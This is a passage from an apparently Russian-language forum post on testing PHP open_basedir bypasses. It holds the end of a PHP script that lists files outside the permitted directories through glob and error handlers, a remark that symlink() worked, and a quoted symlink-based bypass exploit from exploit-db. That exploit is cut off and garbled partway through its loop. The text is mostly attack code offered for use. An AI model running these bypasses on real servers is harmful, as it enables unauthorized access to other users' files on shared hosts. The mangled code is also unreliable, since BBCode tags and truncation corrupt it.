if([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"],-[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#DD0000"]'../'[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"](([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'/../'[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]strrpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]));
echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]
"[/COLOR][COLOR="#007700"];
} else {
echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]
"[/COLOR][COLOR="#007700"];
}
}
foreach([/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"]) {
echo[/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"
"[/COLOR][COLOR="#007700"];
}
} else {
echo[/COLOR][COLOR="#DD0000"]"Access denied or open_basedir = Off, back"[/COLOR][COLOR="#007700"];
}
echo[/COLOR][COLOR="#DD0000"]"\n\n[/COLOR][COLOR="#0000BB"]$count[/COLOR][COLOR="#DD0000"]glob iteration"[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"].([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dirs[/COLOR][COLOR="#007700"])+[/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"])).[/COLOR][COLOR="#DD0000"]" files"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$z[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]close[/COLOR][COLOR="#007700"]();
if([/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp_zip_name[/COLOR][COLOR="#007700"]))
[/COLOR][COLOR="#0000BB"]unlink[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp_zip_name[/COLOR][COLOR="#007700"]);
echo[/COLOR][COLOR="#DD0000"]"\nTime: "[/COLOR][COLOR="#007700"].([/COLOR][COLOR="#0000BB"]microtime[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]) -[/COLOR][COLOR="#0000BB"]$starttime[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]" seconds"[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
function[/COLOR][COLOR="#0000BB"]error_handler[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$errno[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errstr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errfile[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errline[/COLOR][COLOR="#007700"]){
global[/COLOR][COLOR="#0000BB"]$glob_dirs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$regexp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$dirs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$regexp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errstr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"]);
if(isset([/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]])){
[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"])+[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"]));
if(![/COLOR][COLOR="#0000BB"]in_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$glob_dirs[/COLOR][COLOR="#007700"])) {
[/COLOR][COLOR="#0000BB"]$glob_dirs[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"],-[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"])
[/COLOR][COLOR="#0000BB"]$dirs[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"];
else
[/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"];
} else {
[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
}
}
}
[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Symlink() - отработало без вопросов.
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Тест:
7.3.8-1
Эксплоит взят с
https://www.exploit-db.com/exploits/10557
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]This is exploit from Security Audit Lab - SecurityReason labs.
Author : Maksymilian Arciemowicz
Script for legal use only.
PHP 5.2.12 5.3.1 symlink open_basedir bypass
More: SecurityReason
'[/COLOR][COLOR="#007700"];
if(empty([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]))
exit;
if(![/COLOR][COLOR="#0000BB"]is_writable[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"."[/COLOR][COLOR="#007700"]))
die([/COLOR][COLOR="#DD0000"]"not writable directory"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$level[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
for([/COLOR][COLOR="#0000BB"]$as[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$as[/COLOR][COLOR="#007700"]check symlink symlink'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$num[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]' file'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]?>
[/COLOR][/COLOR]